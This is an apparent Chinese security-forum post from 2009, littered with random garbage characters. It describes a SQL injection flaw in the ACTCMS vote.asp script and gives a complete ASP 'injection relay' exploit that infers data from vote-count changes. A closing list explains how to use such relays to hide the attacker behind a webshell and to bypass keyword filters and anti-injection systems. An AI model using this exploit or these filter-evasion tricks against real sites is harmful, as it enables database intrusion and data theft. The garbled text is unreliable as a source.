2 K. R/ A7 E, G+ ?8 d
看到ninty大牛的blog的一篇文章
! m5 X3 P6 h7 P0 A; j" Q, }链接标记[url]http://www.forjj.com/?action=show&id=80[/url]6 U$ ~# R) o' ~, T7 i$ N% r1 x* O, V
关于actcms漏洞的利用 by 3x qq:381862589. ?4 k1 ]. R4 J) e
转载请注明以上
* a9 m9 M/ P# ?6 f5 u$ m漏洞文件:' H; d* Q& W+ O3 C# w5 U
/plus/vote/vote.asp) Q7 q/ w8 t3 w; _. d
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
- K' h- ?2 D$ h# f
$ y7 m" b9 E# C8 p2 response.write "<script>alert('请选择投票项目。');window.close()</script>" : P4 a4 t% y+ a% a6 z* s
/ D' q7 z* N# `
3 response.end
. Z3 {# T4 F2 [9 K* d( z% N+ z+ p% n% ~
4 end if
6 f, x- Y$ }; a" w; X' m' c2 y; `: {# U& W
5 for i=1 to request("voted").count
0 }6 ~9 c% r0 B1 y: ?% o& v3 x: v9 h% z( A+ B, i% S
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
( [+ B& E8 o$ V8 }
! k4 Q; H! r6 I; s( ?7 next ; G9 B" Q9 g* ^* B2 C) D
6 G8 m5 U# f% b
8....
4 f1 o# j& x$ V2 k4 D9 d4 y4 }
4 F' e ~: f2 b; R$ C5 F) X% t1 v9response.Redirect "index.asp?id="&id&"" 9 R) h4 x" g- {8 l+ o+ N. N
投票结束回跳转回index.asp这个投票结果页面
, g( F0 e( J$ y+ V; O/ r' h如果投票成功票数加1
3 h! q% X I. z 失败票数不变+ k( c8 s# M$ H& f; z& o. r
如图: Q4 w! Y# h1 r3 U1 P( n6 X' I+ H7 {
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)$ S/ G$ O. T3 s) z$ v" p1 w
) C7 K$ w# l% K$ Z" v: ?2009-12-27 13:20
& }" o* ^2 d' l/ y$ l+ i6 Y1 `# V- N: |* ?9 s1 ^
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
, Z8 o8 [) u& W8 g4 Y9 [; `- m; C: v. f
本帖隐藏的内容需要回复才可以浏览) C) p! \8 g8 m1 g/ n& v
我们用注入中转来实现这个注入具体代码如下:
/ Z$ Y4 T4 b" X0 Y" r; a l9 S2 D先用寂寞的刺猬大牛的注入中转生成jmget.asp
; ]" k4 j/ _4 c( D9 z+ v注入地址:http://localhost/actcms/plus/vote/vote.asp' ]/ O6 a) H/ T6 l3 V0 _
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
4 _6 i% A; n* f/ G5 J1 J1 O9 F0 D- p* V1 f' y- g5 ^1 u
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% C z7 V3 n8 `0 j
/ R* A! ?; K" W3 X2 |/ u
02JmdcwName=request("jmdcw") ! g$ f3 K# o$ F; o) \) o+ h
: M) W8 t+ W9 B) [ ~+ Q03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ) R z/ Y# @& f5 T/ A& _+ l
; m+ M" E* R, P' R& G/ [3 e04JmStr="id=1&voted=-1 or 1="&JmdcwName
0 f5 ~0 E7 Q l/ X Z+ p
- E: n. x8 R% x9 v: W* F05JmStr=URLEncoding(JmStr) 6 {2 \* \& a9 U, m& z
$ w- g6 i5 ~# u& `9 Z* Y
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"' @, A& v- E+ S' g' t4 |
- ]7 d' x( f+ C1 ^ J
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
4 f# l5 C/ u' F* O5 E' [6 T
/ S$ t+ a/ I* X5 A3 M0 }6 u( y08testurl=testurl & "?" & JmStr 7 S/ h3 S: n7 b {4 w6 v& ^9 W3 l
8 B9 Q& x/ `8 Y' h/ i, L, ?( {' X) r0 g
09JMUrl=JMUrl & "?" & JmStr
. T& M1 k$ v* Q9 Q2 L" m1 P% O8 X( l/ f' k' A
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"+ T' @2 S% c: F3 ?- W
1 V' o0 P: P+ y# n! O0 X. E% i
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
! m: }9 a# g: v& h$ z: s
( m- l. i4 `0 ?/ y( n! g* C$ R12JmCok=replace(JmCok,chr(32),"%20") / K& @& \4 ?- m0 u/ G# e7 W
0 p1 n' P3 ^+ ~/ A
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 7 X- i+ g" f. c( ^( j
2 d( a6 V7 {. |' o
14
- z8 m% d d+ n, ~/ M1 Y9 |: q7 e G" G$ h2 H$ L8 {) j2 L5 l
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
d u/ I7 d6 U
9 D. u _5 P) f; K# E16
6 w1 N! A8 I% y A8 k2 n) o
+ H/ }- p# P8 x* H17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
; t! u- g. y, ]0 n
# \; @5 |0 Z- u4 }. H v( t, F$ ]18response.write test1&""&test2&""
5 O( n/ D- h8 S% Y8 b! J4 b5 G6 [/ J1 q1 e( E# Y+ t0 ^$ L8 H
19
3 Y$ u6 `" e6 m5 X# J0 h; \, ~ e7 U. e; c5 a
20if test1=test2 then '如前后记录相等,表示失败
% b, O% |. V: b4 |; G. k0 J" l8 o/ N9 `5 p4 k: s7 A* T
21 response.write "failed"
B. l. I) J3 n; Z6 g' a
0 N- Z5 r! U3 b3 G22else
7 [" P- q3 }4 g2 R5 ]# C
" c2 L6 e9 K9 Z( U: ^ i% d; d23 response.write "succeed"1 B- L. j, ~ g& o, {2 m! i
. _; l. y9 l3 d24end if . i' e0 T/ y, {9 ]9 ?7 n: f
7 M: W$ i3 a, S. j/ {& m
25
- i- M3 {4 C: A# \1 O2 }- H8 `. _7 f5 S
26response.write "by 3x"
7 M8 X, \! w& Z: U' w, u3 P( k
4 R: E r# a9 l' C7 b27 9 \6 J! ^1 ~( G0 x( X4 u3 n& U; a
# Y- s5 l: S8 U- O
28 & B1 b- I: C9 M% B, \/ h% K" I
1 w1 h4 v- [$ w3 z7 p: q; M+ h1 }1 ?29Function PostData(PostUrl,PostStr,PostCok,PostRef)
- s4 w4 E6 u |% X( o+ U# g5 T- k8 _
30Dim Http ) I& V5 H5 y# \' t# h) w
+ f- ]1 d+ k5 ]. P$ }31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 5 w0 {8 p% v+ F" W D" a W
, T5 m! E" g; C0 Y) e+ ?32With Http ! F: ]* n- r2 ^4 U C5 j9 H
; a: i. W' I7 U/ W. R33
" L3 u0 k- x# J3 M7 H4 L! ~& Z# N+ P7 Q5 Q& t
34.Open "GET",PostUrl,False
1 n& g9 S5 t" j
- w. P% m/ a+ y8 o2 _! L! d) |! `35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded", @$ m% W6 D8 q- x* Q
. I8 ~1 b: y; I% i
36.SetRequestHeader "Referer",PostRef ' C( T1 u1 W% u1 q
& } F& e3 U: l8 H1 g3 E1 W37.SetRequestHeader "Cookie",PostCok % q; ]& e% x- Z' M- X0 d/ p
" Y1 {) Q+ t+ M6 ?' H: E
38.Send () # q2 o8 n, y8 l9 |% g2 U
# o# g1 t2 F9 d+ j& ~- ]39PostData = .ResponseBody
5 H$ T n' o; t; J4 A" t' F9 N: O4 ]6 T0 i
40End With
f% c0 E5 J U
/ }& c( E3 A) U% u: v0 V41Set Http = Nothing
% b$ R+ B) \2 L
$ [8 m) F6 O2 f# ]" F% K42PostData =bytes2BSTR(PostData) 9 m) g, Z6 o8 ~3 @6 p# a d
}1 k2 _7 x* }3 Y
43End Function# s; U3 n6 u. P A; a
7 R2 e0 | a' `1 \7 ]; ^/ o. P( V44 0 n% s6 M8 T" [6 K8 u% X0 _
" w' s6 L B: ^6 j8 B6 B
45 3 L( R! `) O, y O
$ G+ f* d8 W+ T' ]2 q; H7 V! r) V46Function bytes2BSTR(vIn) 4 x7 O) N! S ~, l3 @
& C1 |4 f8 l9 M( w M" S7 g
47Dim strReturn
! V) [; j" i) u2 |! o
K% ]! f6 @: }, [( i48Dim I, ThisCharCode, NextCharCode 8 k$ V6 n6 `! s: r0 ~
+ ^4 e; Y1 T) B1 Q# q49strReturn = ""
4 \8 s* s2 P* e- N( x1 J {7 E2 \& J
2 {, K' e/ I, ?# t& k50For I = 1 To LenB(vIn)
! D& i; q5 A- H3 K0 g8 r2 X9 U8 D
& `# @7 i! S' F$ m8 R0 Z! P51ThisCharCode = AscB(MidB(vIn, I, 1)) ' D8 m T% N( w1 ?$ T: G
4 ~" e% B+ u/ ]5 V
52If ThisCharCode < &H80 Then4 h4 X1 u- |# N( @
" t2 R; Q6 ]9 M3 [+ T6 r$ I
53strReturn = strReturn & Chr(ThisCharCode) & Y+ m5 S) g" z6 M6 N: P, r5 A
; d7 |- h5 y# _
54Else
h4 Z( c4 H3 y5 g$ K
0 `8 ]( ?! n9 x6 y8 R" ?55NextCharCode = AscB(MidB(vIn, I + 1, 1))
2 ?# H+ Z2 s* x8 Y* Z# _8 E8 ~% z: g* [! z. ~& }
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) + f. H" y3 S8 u+ v
% W+ w( `! Z0 e `8 l/ u57I = I + 1
% M3 o) ~* R" |( P4 k" |% c7 U# u: f1 p+ d( V k) [: e
58End If
4 U3 F6 F! {0 Q$ i* x% Z- A0 W# L: D1 x; V7 b7 E( E( t1 U: X6 L" b
59Next
" q4 [; I* n! N, P. p2 T$ L3 m, h7 h7 v& k. @' |' a
60bytes2BSTR = strReturn 2 R/ g' E. F7 q: H0 y
$ X8 n2 T( F {. U6 c& d/ w/ X61End Function
% K8 g4 Q7 z" S
( G. U' Y3 l7 c4 E( @62
$ u1 _7 ?' A; o1 _6 Z( Z
* y. B- e" [- G63Function URLEncoding(vstrin) " |" H( W8 @- s7 V: Y( R
6 c0 N7 k2 z& L( J) @
64strReturn=""0 _2 |: D6 D1 ~' l) D
8 a: _3 e( l5 u8 O+ i) [1 D* j65Dim i
3 U6 l, a8 K+ M) m: h6 u- @* @+ z" Q( R( g
66For i=1 To Len(vstrin) J- y- L5 \9 m% x
% I" b! [ h2 y9 m
67ThisChr=Mid(vstrin,i,1) 8 r8 D% {. P% l. B3 [' f! x' q
" ?( x' a2 }' G" F# v6 d! S, P6 q K68if Abs(Asc(ThisChr))< &HFF Then
) o9 a m# i1 S2 P. R5 l1 _/ k+ H' e# G2 z* `7 _# b
69strReturn=strReturn & ThisChr
% k, M C D. F6 N+ ?" x' L) n8 r* x
% X: |6 h+ t* x0 I6 w! v70Else/ n. L0 W: |( ]8 K6 [
0 `( w9 ]6 d3 @0 @71InnerCode=Asc(ThisChr)
9 y E7 i. @$ e7 }& i- a2 C2 n) j8 \/ ?) ?: e: `: W
72If InnerCode<0 Then% p/ w6 \' \" m: _
1 V5 \$ a8 h9 ], L2 N73InnerCode=InnerCode + &H10000
; `* s5 Q0 I; j, e2 E4 }( a$ j0 O+ F
74End If
" J" _9 ^ J: p6 C; S' j
0 r) [# W$ {* z5 G75Hight1=(InnerCode And &HFF00) \&HFF
# E3 s0 B7 N7 @7 G: |7 F& E7 @1 X7 }7 J6 m' G
76Low1=InnerCode And &HFF K4 L* C* ^0 U3 N1 M4 X
$ \4 Y$ ~; H: G: q8 I: a" |77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 4 U* j6 I/ a& p
3 [2 y; A/ B9 q6 z: V78End if
# l7 } }4 M" s; _
+ Z* J; W+ m# |9 w) k- }9 ~79Next& i9 C/ P# | ?2 ]' B
$ J; b& \9 L* B; z' h& G" _& i80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 - f2 v: A% o, `% P0 Z3 t7 s
o( V! Y( s. l% R6 ~5 i8 O: R81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 , z9 Z+ M( q H% h. @" \
8 C0 @9 _3 ?* Z& R3 y {
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 9 L( @& A, w; n, c; t
! ]2 P" ~; W3 D
83URLEncoding=strReturn
: \1 L7 v4 H% c H$ Y1 |4 O& ~% ~2 S7 E4 e. ]0 j p' @
84End Function! E' `8 }/ w- } R# i' @3 J
; U! Y+ [4 M+ N* e4 g& g85 6 {7 T6 @; }# n& @3 q
$ ~, u7 P3 Q1 b+ S7 Y86function getSt(body)
! L" a0 c6 w, `3 r6 w1 ^, B% R6 x% T4 \0 X9 K
87 startpot=instr(body,"投票人数:")+len("投票人数:") 0 m) W) }6 o& ^- e7 q$ T8 [9 }
& Y& N6 i0 i/ f6 H, V% w+ L
88 endpot=instr(startpot,body," ")
% r$ b5 C. B8 `; @! c
: O6 g$ J1 O! N0 v' p+ Y: i7 s% f89 getSt=mid(body,startpot,endpot-startpot) $ z e* F8 ^7 X/ H# E
; Q( d; `: b3 l( E, D90end function & E; P2 @5 M* j' M1 {
5 s" h! z- C# Q) u3 R i
91%>
5 D4 J* F- L( ]1 X m+ Q9 d! l注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
q% o% p( B) T. o' B9 \测试下效果:, v3 t. H; O: N5 `% U& A
投票成功:' r4 a0 b4 d1 s$ Q! m4 T
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
( L* u) M* t) b( F K, ^8 h0 K% p2 n+ t) A; ^0 H2 u8 ~3 Y
2009-12-27 13:291 N& `, p% U5 |% U* ?4 a
投票失败
. r0 K3 T6 d) S. U+ a' i( vhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)0 ]8 X- b: X8 P8 g4 P; m
. E* z2 D7 s' _9 K' Y0 b: w8 k
2009-12-27 13:29
7 A/ y _! _( |0 G8 Y2 U-------------------------------------------------------------------------------; ?6 U: ^6 u. k- n+ Y
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以: N) H, j& X2 Q$ b
很抱歉。。。只能用单线程工具去注入。。。。。( i0 ~) f, _8 @% u
所以失败。。。不好意思。。。- y+ ^2 [" h8 r, E. n8 k$ ~
-------------------------------------------------------------------------------3 V" T" u' ~9 ~& ~
' }. V: \# F$ E, @) p注入中转的一些其他应用
& @- U3 m& x* K0 H其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了# R# K+ m' v' A* ^$ E
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
# U: ~6 ^/ Q1 t7 y" _9 F) d2.post注入转成get型的注入,方便我们使用工具来跑* Q. s1 h6 `. Y2 ]8 u" W
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
% \3 B% G1 g& k- t+ q0 S4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
* J/ p' p8 `/ f: _. {
1 @: X" ] e/ @0 z' D |